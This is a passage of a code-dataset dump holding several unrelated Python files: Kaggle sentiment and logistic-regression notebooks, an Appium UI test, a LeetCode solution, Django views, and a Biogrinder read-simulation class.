train[\"text\"].apply(preprocess)\ntrain[\"bigrams\"] = train[\"clean_text\"].apply(get_word_pairs)\n\ntrain[\"trigrams\"] = train[\"clean_text\"].apply(get_trigrams)\ntrain.head()\ndef senti(x):\n\n    scores = []\n\n    for i in x:\n\n        sid = SentimentIntensityAnalyzer()\n\n        text = str(i)\n\n        s = sid.polarity_scores(text)\n\n        scores.append(s[\"compound\"])\n\n    return scores   \ntrain[\"bigram_scores\"] = train[\"bigrams\"].apply(senti)\n\ntrain[\"trigram_scores\"] = train[\"trigrams\"].apply(senti)\ntrain.head()\ndef sentence_sentiment(text):\n\n    sid = SentimentIntensityAnalyzer()\n\n    text = str(text)\n\n    score = sid.polarity_scores(text)\n\n    if score['compound'] > 0.05:\n\n        return \"Positive\"\n\n    elif score['compound'] < -0.05:\n\n        return \"Negative\"\n\n    else:\n\n        return \"Neutral\"\ntrain[\"text_sentiment\"] = train[\"text\"].apply(sentence_sentiment)\ntrain.head()\ndef pos_words(bis,tris,b_score,t_score):\n\n    bis.reverse()\n\n    tris.reverse()\n\n    b_score.reverse()\n\n    t_score.reverse()\n\n    if max(b_score) >= max(t_score):\n\n        return (bis[b_score.index(max(b_score))])\n\n    elif max(b_score) < max(t_score):\n\n        return (tris[t_score.index(max(t_score))])\ndef neg_words(bis,tris,b_score,t_score):\n\n    bis.reverse()\n\n    tris.reverse()\n\n    b_score.reverse()\n\n    t_score.reverse()\n\n    if min(b_score) <= min(t_score):\n\n        return (bis[b_score.index(min(b_score))])\n\n    elif min(b_score) > min(t_score):\n\n        return (tris[t_score.index(min(t_score))])\ndef extract_selected_text(df):\n\n    output = []\n\n    for i,x in df.iterrows():\n\n        text_sentiment = sentence_sentiment(x[\"text\"])\n\n        if text_sentiment == \"Neutral\":\n\n            output.append(x['text']) \n\n        elif text_sentiment == \"Positive\":\n\n            if len(x[\"bigrams\"]) == 0:\n\n                output.append(x[\"text\"])\n\n            elif len(x[\"trigrams\"])== 0:\n\n                output.append(pos_words(x[\"bigrams\"],[-1000],x[\"bigram_scores\"],[-1000]))\n\n            else:\n\n                output.append(pos_words(x[\"bigrams\"],x[\"trigrams\"],x[\"bigram_scores\"],x[\"trigram_scores\"]))\n\n        else:\n\n            if len(x[\"bigrams\"]) == 0:\n\n                output.append(x[\"text\"])\n\n            elif len(x[\"trigrams\"])== 0:\n\n                output.append(neg_words(x[\"bigrams\"],[1000],x[\"bigram_scores\"],[1000]))\n\n            else:\n\n                output.append(neg_words(x[\"bigrams\"],x[\"trigrams\"],x[\"bigram_scores\"],x[\"trigram_scores\"]))\n\n    df[\"selected_text\"] = output\n\n    return df.loc[:,[\"textID\",\"selected_text\"]] \ntrain.head()\noutput_df = extract_selected_text(train)\noutput_df\noutput_df.to_csv('submission.csv',index = False)","repo_name":"aorursy/new-nb-3","sub_path":"hrithikashukla_nlp-m3-j043-j049-j050.py","file_name":"hrithikashukla_nlp-m3-j043-j049-j050.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38741549741","text":"from protected_input import protected_input\n\n\ndef start():\n    m_num = []\n    m_buf = []\n    print('Задача: минимальное из положительных')\n    for i in range(3):\n        print('Введите %d число ' % (i + 1))\n        m_buf.append(protected_input(True))\n    for num in m_buf:\n        if num > 0:\n            m_num.append(num)\n    if len(m_num) > 0:\n        print(('Положительных чисел: %d, минимальное: ' + str(min(m_num))) % len(m_num))\n    else:\n        print('Положительных чисел нет')\n","repo_name":"deathlokmike/ComputerVision","sub_path":"Lab_1/task_10.py","file_name":"task_10.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20705411780","text":"# -*- coding: UTF-8 -*-\nimport pytest\nfrom appium import webdriver\n\n\nclass TestWidgetPostion:\n    def setup(self):\n        desired_caps = {}\n        desired_caps['platformName'] = 'Android'\n        desired_caps['platformVersion'] = '6.0'\n        desired_caps['deviceName'] = 'emulator-5554'\n        desired_caps['appPackage'] = 'com.xueqiu.android'\n        desired_caps['appActivity'] = 'com.xueqiu.android.view.WelcomeActivityAlias'\n        # 不清楚上一次的'记录'\n        desired_caps['noReset'] = 'true'\n        # 执行用例后，不退出\n        desired_caps['dontStopAppOnReset'] = 'true'\n        # 跳过安装\n        desired_caps['skipDeviceInitialization'] = 'true'\n        # 默认输入是英文输入，更改可以输入中文\n        desired_caps['resetKeyBoard'] = 'true'\n\n        self.driver = webdriver.Remote('http://127.0.0.1:4723/wd/hub', desired_caps)\n        self.driver.implicitly_wait(5)\n\n\n    def teardown(self):\n        self.driver.back()\n        self.driver.back()\n        self.driver.quit()\n\n    def test_search(self):\n        print('搜索测试')\n        \"\"\"\n        1、打开雪球app\n        2.点击搜索输入框\n        3.输入阿里巴巴，点击查询\n        4.获取这只上香港 阿里巴巴的股价，并判断这只股价>200\n        \"\"\"\n        self.driver.find_element_by_id(\"com.xueqiu.android:id/tv_search\").click()\n        self.driver.find_element_by_id(\"com.xueqiu.android:id/search_input_text\").send_keys('阿里巴巴')\n        self.driver.find_element_by_xpath(\"//*[@resource-id='com.xueqiu.android:id/name'and@text='阿里巴巴']\").click()\n        current_price=float(self.driver.find_element_by_id('com.xueqiu.android:id/current_price').text)\n        assert current_price > 280\n\n    if __name__ == '__main__':\n        pytest.main()","repo_name":"BeiMingYouYuMiaomiao/pageobjectProject","sub_path":"test_appium/test_6_4_widgetPosition.py","file_name":"test_6_4_widgetPosition.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43475457642","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@Author: xiezizhe\n@Date: 16/8/2020 上午2:12\n\"\"\"\n\nfrom collections import defaultdict\n\n\nclass Solution:\n    def totalFruit(self, tree: List[int]) -> int:\n        left, right = 0, 0\n        basket = defaultdict(int)\n        ret, cur = 0, 0\n        while right < len(tree):\n            if len(basket) >= 2 and tree[right] not in basket:\n                while True:\n                    if len(basket) == 1:\n                        break\n\n                    basket[tree[left]] -= 1\n                    cur -= 1\n                    if basket[tree[left]] == 0:\n                        del basket[tree[left]]\n                    left += 1\n\n            basket[tree[right]] += 1\n            cur += 1\n            right += 1\n            ret = max(ret, cur)\n\n        return ret","repo_name":"forrest0402/leetcode","sub_path":"python/904. Fruit Into Baskets.py","file_name":"904. Fruit Into Baskets.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71426503720","text":"import numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\nfrom sklearn.preprocessing import OneHotEncoder\n\nfrom sklearn.model_selection import StratifiedKFold, KFold\n\nfrom sklearn.linear_model import LogisticRegression\n\nfrom sklearn.ensemble import RandomForestClassifier, ExtraTreesClassifier, AdaBoostClassifier, GradientBoostingClassifier\n\nfrom sklearn.svm import SVC\n\nimport catboost as cg\n\nfrom sklearn.metrics import roc_auc_score\n\nimport gc\n\n\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n\n\nPATH = '/kaggle/input/cat-in-the-dat/'\n#Reading the dataset.\n\ntrain = pd.read_csv(f'{PATH}train.csv')\n\ntest = pd.read_csv(f'{PATH}test.csv')\n\ntarget = train['target']\n\ntrain_id = train['id']\n\ntest_id = test['id']\n\ntrain.drop(['target', 'id', 'bin_0'], axis=1, inplace=True)\n\ntest.drop(['id','bin_0'], axis=1, inplace=True)\n\n\n\nprint(train.shape)\n\nprint(test.shape)\n\ntraintest = pd.concat([train, test])\n\ndummies = pd.get_dummies(traintest, columns=traintest.columns, drop_first=True, sparse=True)\n\ntrain_ohe = dummies.iloc[:train.shape[0], :]\n\ntest_ohe = dummies.iloc[train.shape[0]:, :]\n\n\n\nprint(train_ohe.shape)\n\nprint(test_ohe.shape)\n\ntrain_ohe = train_ohe.sparse.to_coo().tocsr()\n\ntest_ohe = test_ohe.sparse.to_coo().tocsr()\ntrain_ohe.shape, test_ohe.shape\nprint('#'*20)\n\nprint('StratifiedKFold training...')\n\n\n\n# Same as normal kfold but we can be sure\n\n# that our target is perfectly distribuited\n\n# over folds\n\n\n\n\n\nfolds = StratifiedKFold(n_splits=5, shuffle=True, random_state=10)\n\n\n\n#initializing the model\n\nmodel = LogisticRegression(solver='lbfgs', max_iter=200, C=0.095)\n\n\n\n#score.\n\nscore = []\n\n\n\nfor fold_, (trn_idx, val_idx) in enumerate(folds.split(train_ohe, target, groups=target)):\n\n    print('Fold:',fold_+1)\n\n    tr_x, tr_y = train_ohe[trn_idx,:], target[trn_idx]    \n\n    vl_x, v_y = train_ohe[val_idx,:], target[val_idx]\n\n    \n\n    #predicting on test.\n\n    y_pred = model.predict(vl_x)\n\n    \n\n    #storing score\n\n    score.append(roc_auc_score(v_y, y_pred))\n\n    print(f'AUC score : {roc_auc_score(v_y, y_pred)}')\n\n\n\nprint('Average AUC score', np.mean(score))\n\nprint('#'*20)\n#fitting on the entire data.\n\n#making predictions on test data.\n\npred_test = model.predict_proba(test_ohe)[:,0]\n#submission file.\n\nsub = pd.read_csv(f'{PATH}sample_submission.csv')\n\n# #reseting index\n\n# test_df = test_df.reset_index()\n\nsub['target'] = pred_test\n\nsub.to_csv('log_reg_0.1.csv', index=None, header=True)","repo_name":"aorursy/new-nb-3","sub_path":"errolpereira_logistic-regression.py","file_name":"errolpereira_logistic-regression.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"334372825","text":"from multiprocessing import context\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponseRedirect\nimport random \nfrom .models import Biz\n\n# not for rendering, a normal function that is later used for the context of a view\ndef random_phone_number():\n    phone = ''\n    # phone = '('\n    for x in range(10):\n        phone += str(random.randint(0 , 9))\n        # if x == 2:\n        #     phone += ')'\n        # elif x == 5:\n        #     phone += '-'\n    return phone\n        \n\n\n\ndef home(request):\n    all_biz = Biz.objects.all()\n    context = {\n        'biz': all_biz\n    }\n\n    return render(request, 'biz_app/home.html', context)\n\ndef add_your_biz(request):\n    if request.method == 'POST':\n        \n        name = request.POST['name']\n        # phone = request.POST['phone']\n        phone = random_phone_number() # just showing python is still python and we can use the function\n        email = request.POST['email']\n        website = request.POST['website']\n        Biz.objects.create(name=name, phone=phone, email=email, website=website)\n       \n        return redirect( 'biz_app:home') \n\n    else:\n        all_biz = Biz.objects.all()\n        context = {\n            'biz': all_biz\n        }\n        return render(request, 'biz_app/addbiz.html', context )\n\ndef redirect_to_images(request, name):\n    # print(\"!!!!!!!!!!!!!!!!!!!\", name)\n    url = 'https://www.google.com/search?q=' + name \n\n    return HttpResponseRedirect(url)","repo_name":"PdxCodeGuild/class_olive","sub_path":"code/matt/notes/Django/Biz_Example_Pre_Short_Url_Lab/biz_project/biz_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"5884289363","text":"import arguments\nfrom AmpliconSearch import AmpliconSearch\nfrom KmerCollection import KmerCollection\nfrom SimulatedRead import *\nfrom misc import *\nfrom Bio import SeqIO\nfrom Bio.SeqRecord import SeqRecord\nfrom Bio.SeqFeature import FeatureLocation, CompoundLocation\nfrom Bio.Seq import Seq\nimport math\nimport numpy as np\nimport random\nimport re\nimport sys\n\nclass Biogrinder:\n    def __init__(self, *args):\n        # Initialize the Biogrinder object with any necessary parameters\n        self.args = args\n        self.args = self.argparse()\n        self.initialize() \n\n    def argparse(self):\n        \"\"\"\n        Process arguments\n        \"\"\"\n        parser = arguments.create_parser()\n        args = parser.parse_args(self.args)    \n        if args.profile_file:\n            self.process_profile_file(args)\n        for arg, value in vars(args).items():\n            setattr(self, arg, value)\n        return args \n    \n    def assemble_chimera(self, *pos):\n        \"\"\"\n        Create a chimera sequence object based on positional information:\n        seq1, start1, end1, seq2, start2, end2, ...\n        \"\"\"\n\n        # Create the ID, sequence and locations list\n        chimera_id = ''\n        chimera_seq = ''\n        locations = []\n        \n        while pos:\n            #print(pos)\n            seq, start, end = pos[0], pos[1], pos[2]\n            pos = pos[3:]\n            #print(pos)\n            # Add amplicon position to the locations list\n            locations.append(FeatureLocation(start, end))\n\n            # Add amplicon ID\n            chimera_id = chimera_id + ',' if chimera_id else ''\n\n            # Add subsequence\n            chimera = seq\n            chimera_id += chimera.id\n            chimera_seq += chimera.seq[start:end]\n        \n        # Create the CompoundLocation\n        chimera_loc = CompoundLocation(locations)\n\n        # Create a sequence object\n        chimera_obj = SeqRecord(\n            Seq(chimera_seq),\n            id=chimera_id\n        )\n        individual_locations = list(chimera_loc.parts)\n        simple_locations = [(int(loc.start), int(loc.end)) for loc in individual_locations]\n\n\n        # Save split location object (a bit hackish)\n        chimera_obj._chimera = simple_locations\n\n        return chimera_obj\n\n    def community_calculate_amplicon_abundance(self, r_spp_abs, r_spp_ids, seq_ids):\n        '''\n        Convert abundance of species into abundance of their amplicons because\n        there can be multiple amplicon per species and the amplicons have a\n        different ID from the species. The r_spp_ids and r_spp_abs lists are\n        the ID and abundance of the species, sorted by decreasing abundance.\n        '''\n        i = 0\n        while i < len(r_spp_ids):\n            species_ab = r_spp_abs[i]\n            species_id = r_spp_ids[i]\n            amplicon_ids = list(seq_ids[species_id].keys())\n            nof_amplicons = len(amplicon_ids)\n            amplicon_abs = [species_ab / nof_amplicons] * nof_amplicons\n            \n            r_spp_abs = r_spp_abs[:i] + amplicon_abs + r_spp_abs[i+1:]\n            r_spp_ids = r_spp_ids[:i] + amplicon_ids + r_spp_ids[i+1:]\n            \n            i += nof_amplicons\n\n        return r_spp_abs, r_spp_ids\n    \n    def community_calculate_diversities(self, c_structs):\n        overall_diversity = 0\n        perc_shared = 0\n        perc_permuted = 0\n\n        # Calculate diversity (richness) based on given community abundances\n        nof_libs = len(c_structs)\n        all_ids = {}\n        richnesses = []\n\n        for c_struct in c_structs:\n            richness = 0\n            for i in range(len(c_struct['ids'])):\n                id = c_struct['ids'][i]\n                ab = c_struct['abs'][i]\n\n                if not ab:\n                    continue\n\n                richness += 1\n\n                if id in all_ids:\n                    all_ids[id] += 1\n                else:\n                    all_ids[id] = 1\n            \n            richnesses.append(richness)\n\n        overall_diversity = len(all_ids)\n\n        # Calculate percent shared\n        nof_non_shared = sum(1 for id, count in all_ids.items() if count < nof_libs)\n        perc_shared = (overall_diversity - nof_non_shared) * 100 / overall_diversity\n\n        return richnesses, overall_diversity, perc_shared, perc_permuted\n    \n    def community_calculate_species_abundance(self, distrib, param, diversity):\n        '''\n        Calculate relative abundance based on a distribution and its parameters.\n        Input is a model, its 2 parameters, and the number of values to generate\n        Output is a reference to a list of relative abundance. The abundance\n        adds up to 1\n        '''\n        rel_ab = []\n        total = 0\n\n        if distrib == 'uniform':\n            val = 1 / diversity\n            for index in range(diversity):\n                rel_ab.append(val)\n            total = 1\n\n        elif distrib == 'linear':\n            slope = 1 / diversity\n            for index in range(diversity):\n                value = 1 - slope * index\n                rel_ab.append(value)\n                total += value\n\n        elif distrib == 'powerlaw':\n            if param is None:\n                raise ValueError(\"Error: The powerlaw model requires an input parameter.\")\n            for index in range(diversity):\n                value = (index + 1) ** -param\n                rel_ab.append(value)\n                total += value\n\n        elif distrib == 'logarithmic':\n            if param is None:\n                raise ValueError(\"Error: The logarithmic model requires an input parameter.\")\n            for index in range(diversity):\n                value = math.log(index + 2) ** -param\n                rel_ab.append(value)\n                total += value\n\n        elif distrib == 'exponential':\n            if param is None:\n                raise ValueError(\"Error: The exponential model requires an input parameter.\")\n            for index in range(diversity):\n                value = math.exp(- (index + 1) * param)\n                rel_ab.append(value)\n                total += value\n\n        else:\n            raise ValueError(f\"Error: {distrib} is not a valid rank-abundance distribution.\")\n\n        # Normalize to 1 if needed\n        if total != 1:\n            rel_ab = [x/total for x in rel_ab]\n\n        return rel_ab\n    \n    def community_given_abundances(self, file, seq_ids):\n        \"\"\"\n        Read a file of genome abundances. The file should be space or\n        tab-delimited. The first column should be the IDs of genomes, and the\n        subsequent columns are for their relative abundance in different\n        communities. An optional list of valid IDs can be provided. Then the\n        abundances are normalized so that their sum is 1.\n        \"\"\"\n        # Read abundances\n        ids, abs = self.community_read_abundances(file)\n\n        # Remove genomes with unknown IDs and calculate cumulative abundance\n        totals = [0] * len(ids)\n        \n        for comm_num, id_list in enumerate(ids):\n            i = 0\n            while i < len(id_list):\n                id = id_list[i]\n                ab = int(abs[comm_num][i])\n                if not seq_ids or id in seq_ids:\n                    totals[comm_num] += ab\n                    i += 1\n                    \n                else:\n                    del id_list[i]\n                    del abs[comm_num][i]\n                    print(f\"Requested reference sequence '{id}' in file \"\n                          f\"'{file}' does not exist in the matching database.\")\n        \n        # Process the communities\n        c_structs = []\n        for comm_num, (comm_ids, comm_abs) in enumerate(zip(ids, abs)):\n            comm_total = totals[comm_num]\n            if comm_total == 0:\n                print(\"Warning: The abundance of all the genomes for community \"\n                      f\"{comm_num + 1} was zero. Skipping this community.\")\n                continue\n\n            # Normalize the abundances\n            comm_abs = [int(ab) / comm_total for ab in comm_abs]\n\n            # Sort relative abundances by decreasing \n            sorted_pairs = sorted(zip(comm_abs, comm_ids), reverse=True)\n            comm_abs, comm_ids = zip(*sorted_pairs)\n            \n            # Save community structure\n            c_structs.append({'ids': list(comm_ids), 'abs': list(comm_abs)})\n        return c_structs\n    \n    def community_permuted(self, c_ids, perc_permuted):\n        '''\n        Change the abundance rank of species in all but the first community.\n        The number of species changed in abundance is determined by the percent\n        permuted, i.e. a given percentage of the most abundant species in this\n        community.\n        '''\n        nof_indep = len(c_ids)\n        \n        for c in range(1, nof_indep + 1):\n            ids = c_ids[c-1]\n            diversity = len(ids)\n            \n            # Number of top genomes to permute\n            # Percent permuted is relative to diversity in this community\n            nof_permuted = int((perc_permuted / 100) * diversity + 0.5) # round number\n\n            idxs = []\n            if nof_permuted > 0:\n                # Add shuffled top genomes\n                permuted_idxs = random.sample(range(nof_permuted), nof_permuted)\n            \n                idxs.extend(permuted_idxs)\n            \n            if diversity - nof_permuted > 0:\n                # Add other genomes in the same order\n                non_permuted_idxs = list(range(nof_permuted, diversity))\n                idxs.extend(non_permuted_idxs)\n            \n            ids[:] = [ids[i] for i in idxs]\n\n        return c_ids, perc_permuted\n\n    def community_read_abundances(self, file):\n        # Read abundances of genomes from a file\n        ids = []  # genome IDs\n        abs = []  # genome relative abundance \n        with open(file, 'r') as io:\n            for line_num, line in enumerate(io, 1):\n                # Ignore comment or empty lines\n                if line.strip() == '' or line.startswith('#'):\n                    continue\n                # Read abundance info from line\n                parts = line.split()\n                if parts:\n                    id_ = parts[0]\n                    rel_abs = parts[1:]\n                    for comm_num, rel_ab in enumerate(rel_abs):\n                        while len(ids) <= comm_num:\n                            ids.append([])\n                        while len(abs) <= comm_num:\n                            abs.append([])\n                        ids[comm_num].append(id_)\n                        abs[comm_num].append(rel_ab)\n                else:\n                    print(f\"Warning: Line {line_num} of file '{file}' has an \\\n                          unknown format. Skipping it...\")\n\n        return ids, abs\n\n    def community_shared(self, seq_ids, nof_indep, perc_shared, diversities):\n        '''\n        Randomly split a library of sequences into a given number of groups\n        that share a specified percent of their genomes.\n        The % shared is the number of species shared / the total diversity in\n        all communities\n        Input:  arrayref of sequence ids\n                number of communities to produce\n                percentage of genomes shared between the communities\n                diversity (optional, will use all genomes if not specified) \n        Return: arrayref of IDs that are shared\n                arrayref of arrayref with the unique IDs for each community\n        '''\n    \n        # If diversity is not specified (is '0'), use the maximum value possible\n        nof_refs = len(seq_ids)\n        min_diversity = float('inf')\n\n        for i in range(len(diversities)):\n            if diversities[i] == 0:\n                diversities[i] = nof_refs / (perc_shared/100 + nof_indep*(1-perc_shared/100))\n                diversities[i] = int(diversities[i])\n                if i > 0 and diversities[i-1] != diversities[i]:\n                    raise ValueError(\"Error: Define either all the diversities \"\n                                     \"or none.\")\n            \n            if diversities[i] < min_diversity:\n                min_diversity = diversities[i]\n\n        if min_diversity == 0:\n            raise ValueError(f\"Error: Cannot make {nof_indep} libraries sharing \"\n                             f\"{perc_shared} % species from {nof_refs} references\")\n\n        nof_shared = int(min_diversity * perc_shared / 100)\n        perc_shared = nof_shared * 100 / min_diversity\n\n        nof_uniques = []\n        sum_not_uniques = 0\n        for diversity in diversities:\n            nof_unique = diversity - nof_shared\n            sum_not_uniques += nof_unique\n            nof_uniques.append(nof_unique)\n\n        overall_diversity = nof_shared + sum_not_uniques\n        if nof_refs < overall_diversity:\n            raise ValueError(\"Error: The number of reference sequences \"\n                             f\"available ({nof_refs}) is not large enough to \"\n                             f\"support the requested diversity ({overall_diversity} \"\n                             f\"genomes overall with {perc_shared} % genomes \"\n                             f\"shared between {nof_indep} libraries)\")\n\n        ids = list(seq_ids.keys())\n        shared_ids = []\n        for _ in range(nof_shared):\n            rand_offset = random.randint(0, nof_refs-1)\n            rand_id = ids.pop(rand_offset)\n            nof_refs = len(ids)\n            shared_ids.append(rand_id)\n\n        unique_ids = [[] for _ in range(nof_indep)]\n        for lib_num in range(nof_indep):\n            nof_unique = nof_uniques[lib_num]\n            for _ in range(nof_unique):\n                rand_offset = random.randint(0, nof_refs-1)\n                rand_id = ids.pop(rand_offset)\n                nof_refs = len(ids)\n                unique_ids[lib_num].append(rand_id)\n\n        shared_ranks = random.sample(range(1, min_diversity+1), nof_shared)\n\n        c_ranks = []\n        for lib_num in range(nof_indep):\n            diversity = diversities[lib_num]\n            ranks = [None] * diversity\n            \n            for i in range(nof_shared):\n                id_ = shared_ids[i]\n                rank = shared_ranks[i]\n                ranks[rank-1] = id_\n\n            ids = unique_ids[lib_num]\n            for rank in range(1, diversity+1):\n                if ranks[rank-1] is None:\n                    ranks[rank-1] = ids.pop()\n            \n            c_ranks.append(ranks)\n\n        return c_ranks, overall_diversity, diversities, perc_shared\n    \n    def community_structures(self, seq_ids, abundance_file, distrib, param,\n                             nof_indep, perc_shared, perc_permuted, diversities,\n                             forward_reverse):\n        \"\"\"\n        Create communities with a specified structure, alpha and beta-diversity.\n        \"\"\"\n\n        # Calculate community structures\n        c_structs = []\n        if abundance_file:\n            # Sanity check\n            if len(diversities) > 1 or diversities[0]:\n                print(\"Warning: Diversity cannot be specified when an \"\n                      \"abundance file is specified. Ignoring it.\")\n            if perc_shared > 0 or perc_permuted < 100:\n                print(\"Warning: Percent shared and percent permuted cannot be \"\n                      \"specified when an abundance file is specified. Ignoring \"\n                      \"them.\")\n            # One or several communities with specified rank-abundances\n            c_structs = self.community_given_abundances(abundance_file, seq_ids)\n\n            # Calculate number of libraries\n            got_indep = len(c_structs)\n            \n            if nof_indep > got_indep:\n                raise ValueError(f\"Error: {nof_indep} communities were \"\n                                    \"requested but the abundance file specified \"\n                                    f\"the abundances for only {got_indep}.\")\n            elif nof_indep < got_indep:\n                print(f\"Warning: {nof_indep} communities were requested by \"\n                        \"the abundance file but it specified the abundances \"\n                        f\"for {got_indep}. Ignoring extraneous communities \"\n                        \"specified in the file.\")\n            nof_indep = got_indep\n            self.num_libraries = nof_indep\n\n            # Calculate diversities based on given community abundances\n            (self.diversity, self.overall_diversity, self.shared_perc,\n             self.permuted_perc) = self.community_calculate_diversities(c_structs)\n \n        else:\n            # One or several communities with rank-abundance to be calculated\n            # Sanity check\n            if nof_indep == 1:  # 1 is the default value\n                nof_indep = len(diversities)  \n            \n            if nof_indep != len(diversities):\n                if len(diversities) == 1:\n                    # Use same diversity for all libraries\n                    diversity = diversities[0]\n                    for _ in range(1, nof_indep):\n                        diversities.append(diversity)\n                else:\n                    raise ValueError(\"Error: The number of richness values \"\n                                     f\"provided ({len(diversities)}) did not \"\n                                     \"match the requested number of libraries \"\n                                     f\"({nof_indep}).\")\n            \n            self.num_libraries = nof_indep\n            # Select shared species\n            c_ids = None\n            overall_diversity = 0\n            (c_ids, overall_diversity, diversities,\n             perc_shared) = self.community_shared(seq_ids,\n                                             nof_indep,\n                                             perc_shared,\n                                             diversities)\n            \n            # Shuffle the abundance-ranks of the most abundant genomes\n            c_ids, perc_permuted = self.community_permuted(c_ids, perc_permuted)\n\n            # Update values in self object \n            self.overall_diversity = overall_diversity\n            self.diversity = diversities\n            self.shared_perc = perc_shared\n            self.permuted_perc = perc_permuted\n\n            # Create a community structure list\n            c_structs = []\n            for c in range(1, nof_indep + 1):\n                # Assign a random parameter if needed\n                comm_param = param if param else randig(1, 0.05)\n                # Calculate relative abundance of the community members\n                diversity = self.diversity[c-1]\n                c_abs = self.community_calculate_species_abundance(distrib, comm_param, diversity)\n                c_id = c_ids[c-1]\n                c_struct = {\n                    'ids': c_id,\n                    'abs': c_abs,\n                    'param': comm_param,\n                    'model': distrib\n                }\n                c_structs.append(c_struct)\n\n        for c_struct in c_structs:\n            # Convert sequence IDs to object IDs\n            c_struct['abs'], c_struct['ids'] = self.community_calculate_amplicon_abundance(c_struct['abs'], c_struct['ids'], seq_ids)\n        return c_structs\n\n    def database_create(self, fasta_file, unidirectional,\n                        forward_reverse_primers=None, abundance_file=None,\n                        delete_chars=None, min_len=1, maximum_length=10000):\n        \"\"\"\n        Read and import sequences\n        Parameters:\n        * FASTA file containing the sequences or '-' for stdin. REQUIRED\n        * Sequencing unidirectionally? 0: no, 1: yes forward, -1: yes reverse\n        * Amplicon PCR primers (optional): Should be provided in a FASTA file\n        and use the IUPAC convention. If a primer sequence is given, any\n        sequence that does not contain the primer (or its reverse complement\n        for the reverse primer) is skipped, while any sequence that matches is\n        trimmed so that it is flush with the primer sequence\n        * Abundance file (optional): To avoid registering sequences in the\n        database unless they are needed\n        * Delete chars (optional): Characters to delete form the sequences.\n        * Minimum sequence size: Skip sequences smaller than that\n        \"\"\"\n        # Input filehandle\n        if not fasta_file:\n            raise ValueError('Error: No reference sequences provided')\n        if fasta_file == '-':\n            in_handle = sys.stdin\n        else:\n            in_handle = open(fasta_file, 'r')\n        \n        # Get list of all IDs with a manually-specified abundance\n        ids_to_keep = {}\n        if abundance_file:\n            ids, abs = self.community_read_abundances(abundance_file)\n            for comm in ids:    \n                for id in comm:\n                    ids_to_keep[id] = None\n        \n        # Read FASTA file containing the primers   \n        if forward_reverse_primers:\n            amplicon_search = AmpliconSearch()\n            primer_dict = amplicon_search.create_deg_primer_dict(primer_file=forward_reverse_primers)\n        else:\n            amplicon_search = 0\n\n        # Process database sequences\n        seq_db = []     # sequence objects (all amplicons)\n        seq_ids = {}    # reference sequence IDs and IDs of their amplicons\n        mol_types = {}  # count of molecule types (dna, rna, protein)\n\n        for ref_seq in SeqIO.parse(in_handle, \"fasta\"):\n            # Skip empty sequences\n            if not ref_seq.seq:\n                continue\n            # Record molecule type\n            seq_type = identify_sequence_type(ref_seq.seq)\n            mol_types[seq_type] = mol_types.get(seq_type, 0) + 1\n            \n            # Determine database type: dna, rna, protein\n            db_alphabet = self.database_get_mol_type(mol_types)\n            self.alphabet = db_alphabet\n            \n            # Skip unwanted sequences\n            if ids_to_keep and ref_seq.id not in ids_to_keep:\n                continue\n            # If we are sequencing from the reverse strand, reverse complement now\n            if unidirectional == -1:\n                if self.alphabet == \"dna\":\n                    ref_seq = SeqRecord(ref_seq.seq.reverse_complement(),\n                                        id=ref_seq.id,\n                                        name=ref_seq.name,\n                                        description=ref_seq.description)\n                elif self.alphabet == \"rna\":\n                    ref_seq = SeqRecord(ref_seq.seq.reverse_complement_rna(),\n                                        id=ref_seq.id,\n                                        name=ref_seq.name,\n                                        description=ref_seq.description)\n            ref_seq.seq = str(ref_seq.seq).upper()\n            # Extract amplicons if needed  \n            if amplicon_search:\n                amplicon_result = amplicon_search.find_amplicons(ref_seq, primer_dict, maximum_length)\n                if len(amplicon_result) > 0:\n                    for result in amplicon_result:\n                        amp_seq = result.seq\n                        # Remove forbidden chars\n                        if delete_chars:\n                            clean_seq = amp_seq\n                            for char in delete_chars:\n                                clean_seq = clean_seq.replace(char, '')\n                            # Update sequence with cleaned sequence string\n                            amp_seq = clean_seq\n                        # Skip the sequence if it is too small\n                        if len(amp_seq) < min_len:\n                            continue\n                        # Skip the sequence if it is too long\n                        if len(amp_seq) > maximum_length:\n                            continue\n                        #barcode = ref_seq.id + \"_\" + primer_id\n                        result.seq = amp_seq\n                        seq_db.append(result)\n                        if ref_seq.id not in seq_ids:\n                            seq_ids[ref_seq.id] = {}\n                        seq_ids[ref_seq.id][result.id] = None\n            else:\n                shotgun_seq = ref_seq.seq\n                # Remove forbidden chars\n                if delete_chars:\n                    clean_seq = shotgun_seq\n                    for char in delete_chars:\n                        clean_seq = clean_seq.replace(char, '')\n                    # Update sequence with cleaned sequence string\n                    shotgun_seq = clean_seq\n                # Skip the sequence if it is too small\n                if len(shotgun_seq) < min_len:\n                    continue\n                # Skip the sequence if it is too long\n                if len(shotgun_seq) > maximum_length:\n                    continue\n                #barcode = ref_seq.id + \"_\" + primer_id\n                ref_seq.seq = shotgun_seq\n                seq_db.append(ref_seq)\n                if ref_seq.id not in seq_ids:\n                    seq_ids[ref_seq.id] = {}\n                seq_ids[ref_seq.id][ref_seq.id] = None\n\n        # Error if no usable sequences in the database\n        if len(seq_ids) == 0:\n            raise Exception(\"Error: No genome sequences could be used. If you \" \n                            \"specified a file of abundances for the genome \"\n                            \"sequences, make sure that their ID match the ID \"\n                            \"in the FASTA file. If you specified amplicon \"\n                            \"primers, verify that they match some genome \"\n                            \"sequences.\")\n\n        # Error if using amplicon on protein database\n        if db_alphabet == 'protein' and forward_reverse_primers is not None:\n            raise 